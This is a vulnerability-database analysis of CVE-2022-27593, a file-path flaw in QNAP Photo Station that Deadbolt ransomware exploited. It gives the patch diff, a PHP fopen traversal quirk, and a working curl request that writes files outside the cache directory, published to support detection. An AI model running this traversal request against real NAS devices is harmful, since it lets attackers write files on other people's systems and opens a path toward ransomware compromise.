Attacker Value
Very High
(1 user assessed)
(1 user assessed)
User Interaction
Privileges Required
Attack Vector


Disclosure Date: September 08, 2022
Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access


An externally controlled reference to a resource vulnerability has been reported to affect QNAP NAS running Photo Station. If exploited, This could allow an attacker to modify system files. We have already fixed the vulnerability in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later

Add Assessment

  • Attacker Value
    Very High
  • Exploitability
Technical Analysis

On September 3, 2022, QNAP issued a security advisory, QSA-22-24, detailing active exploitation of a vulnerability affecting QNAP NAS devices with Photo Station installed. QNAP’s advisory contained almost no useful details beyond affected versions. The advisory didn’t say if the attack required authentication or not. It didn’t indicate if the attack was some type of bypass or code execution issue. It didn’t clarify if user interaction might play a role. QNAP waited five days to assign CVE-2022-27593 on September 8, 2022.

In order to be affected by CVE-2022-27593, the QNAP NAS must have the Photo Station “app” installed on the device. Photo Station is not installed by default, but appears to be a popular app. QNAP indicates the following versions are affected:

  • QTS 5.0.1: Photo Station 6.1.2 and later
  • QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
  • QTS 4.3.6: Photo Station 5.7.18 and later
  • QTS 4.3.3: Photo Station 5.4.15 and later
  • QTS 4.2.6: Photo Station 5.2.14 and later

CVE-2022-27593 is reportedly being exploited in the wild by the Deadbolt ransomware crew. Censys currently finds more than 1,000 NAS that have fallen victim to Deadbolt. No public exploit code exists, although this write up will introduce, what we believe to be, the basis of the exploit.

Patch Diff

We did patch analysis on Photo Station 5.2.13, 5.2.14, 6.0.21, and 6.0.22. Only this change really stood out to us:

--- ./PhotoStation_6.0.21/photostation2/combine.php	2022-06-01 11:05:40.000000000 -0700
+++ ./PhotoStation_6.0.22/photostation2/combine.php	2022-09-03 06:08:16.000000000 -0700
@@ -180,7 +180,7 @@
 		if ($cache) {
 			// Try the cache first to see if the combined files were already generated
-			$cachefile = 'cache-' . $_GET['g'] . '-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : '');
+			$cachefile = 'cache-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : '');

This change in combine.php removes the attacker’s ability to influence the name of $cachefile. The $cachefile variable is eventually used to write a file to disk:

if ($fp = fopen($cachedir . '/' . $cachefile, 'wb')) {
	fwrite($fp, $contents);
	chmod($cachedir . '/' . $cachefile, 0777);

combine.php intends to optimize downloading of Photo Station’s .js and .css files by combining them into a single file and caching that single file on disk for later retrieval. It’s dubious how effective this strategy is given the likely close proximity of the user and the NAS, but that is what it exists to do. The user (attacker) has no control over the file contents, as combine.php operates on a predefined list of files.

The cached files are written in /share/CACHEDEV1_DATA/.qpkg/photostation2/cache/, which notably doesn’t contain any subdirectories (important later). Here is an example of some legitimate cache files:

[albinolobster@NAS4A32F3 cache]$ pwd
[albinolobster@NAS4A32F3 cache]$ ls -l
total 336
-rwxrwxrwx 1 admin administrators 272577 2022-09-07 18:55 cache-gallery-860177714-b5e445c04a689b88e2ae9b41ed1ee3b9.javascript.gzip*
-rwxrwxrwx 1 admin administrators  67946 2022-09-07 18:55 cache-main-845839342-2deda6ba098a12d8abccf909ae63cc6e.css.gzip*
[albinolobster@NAS4A32F3 cache]$ 

However, as we see in the diff above, the attacker has some influence over the filename using the g parameter — although g itself has requirements that prevent the attacker from fully controlling the parameter. g must start with a predefined group value and use - to separate strings.

$group = explode('-', $_GET['g']);

switch ($group[0]) {
	case 'core':

Adding to the complication, the $cachefile has additional strings prepended and appended that the attacker has almost no influence over.

However, due to an odd quirk of PHP’s fopen, an attacker can traverse out of the cache directory and write the cache files to arbitrary locations. Normally a directory traversal requires a complete and valid path. For example, consider the following PHP code and the bash output from my Ubuntu box.


    if ($fp = fopen('/tmp/../wat/../tmp/r7_test', 'wb')) {
	    fwrite($fp, 'hi');
	    chmod('/tmp/../wat/../tmp/r7_test', 0777);
albinolobster@ubuntu:~$ ls -l /tmp/r7_test
ls: cannot access '/tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test
ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ php travesal.php 
PHP Warning:  chmod(): No such file or directory in /home/albinolobster/travesal.php on line 6
albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test
ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ ls -l /tmp/r7_test
-rw-rw-r-- 1 albinolobster albinolobster 2 Sep  8 07:48 /tmp/r7_test
albinolobster@ubuntu:~$ ls -l /wat/
ls: cannot access '/wat/': No such file or directory

Above, you can see that ls -l /tmp/../wat/../tmp/r7_test fails because /wat/ doesn’t exist. However, fopen('/tmp/../wat/../tmp/r7_test', 'wb') successfully creates /tmp/r7_test despite the missing directory. That’s important to the QNAP’s combine.php because:

  • The attacker has sufficient control to add directory traversal characters, but doesn’t have control over the $cachefileinitial characters.
  • The cache directory doesn’t contain any subdirectories.

This odd behavior of fopen means that an attacker should be able to use the g parameter to traverse through the system. Here is a curl-based example of using the g parameter to write to /share/CACHEDEV1_DATA/.qpkg/ instead of `/share/CACHEDEV1_DATA/.qpkg/photostation2/cache.

albinolobster@ubuntu:~$ curl -kv "" --output /dev/null
*   Trying
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to ( port 8080 (#0)
> GET /photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php. HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 08 Sep 2022 19:54:52 GMT
< Server: Apache
< Etag: "3e0c25bbe8bf3a21ee345dff99f111f2"
< Last-Modified: 1654107034
< Cache-Control: public, max-age=31536000
< X-Frame-Options: SAMEORIGIN
< Upgrade: h2
< Connection: Upgrade
< Content-Length: 982250
< Content-Type: application/javascript
{ [4037 bytes data]
100  959k  100  959k    0     0  6900k      0 --:--:-- --:--:-- --:--:-- 6900k
* Connection #0 to host left intact

Which results in the following output from the NAS’s SSH CLI:

[albinolobster@NAS4A32F3 cache]$ ls -l ../../
total 980
-rw-r--r--  1 admin administrators 982250 2022-09-08 15:54 hello.php.-3e0c25bbe8bf3a21ee345dff99f111f2.javascript
drwxrwxrwx  7 admin administrators   4096 2022-09-06 15:51 MultimediaConsole/
drwxrwxr-x  5 admin administrators   4096 2022-06-01 14:11 PhotoStation/
drwxr-xr-x 14 admin administrators   4096 2022-09-06 18:33 photostation2/
drwxr-xr-x  3 admin administrators   4096 2022-07-08 15:37 phpMyAdmin/
drwxr-xr-x 10 admin administrators   4096 2022-07-15 16:07 QsyncServer/
[albinolobster@NAS4A32F3 cache]$ 

This is not a demonstration of remote code execution. All we’ve demonstrated so far is that files can be created anywhere on disk with the attacker maintaining partial control of the filename but no control of the file contents. Technically speaking, we have demonstrated a vulnerability though. We could fill up the disk using this curl command because we’ve now escaped combine.php’s clean-up logic:

//remove residual files before saving the cache
if ($type == 'css') {
exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' . escapeshellarg($group[0]) . '*.css.gzip');
} else if($type == 'javascript') {
	exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' .escapeshellarg( $group[0]) . '*.javascript.gzip');

But to achieve remote code execution, there needs to be an additional sink — presumably something that will mishandle the filename the attacker assigns. That seems in line with the CWE assigned by QNAP. QNAP assigned CWE-610, *Externally Controlled Reference to a Resource in Another Sphere”, which is a parent of CWE-73, External Control of File Name or Path. So, while we may not have demonstrated the exact code execution sink here, we believe this is the correct primitive and sufficient to write signatures and detections against.

General Information


  • QNAP Systems Inc.


  • Photo Station

Exploited in the Wild

Reported by:

Additional Info

Technical Analysis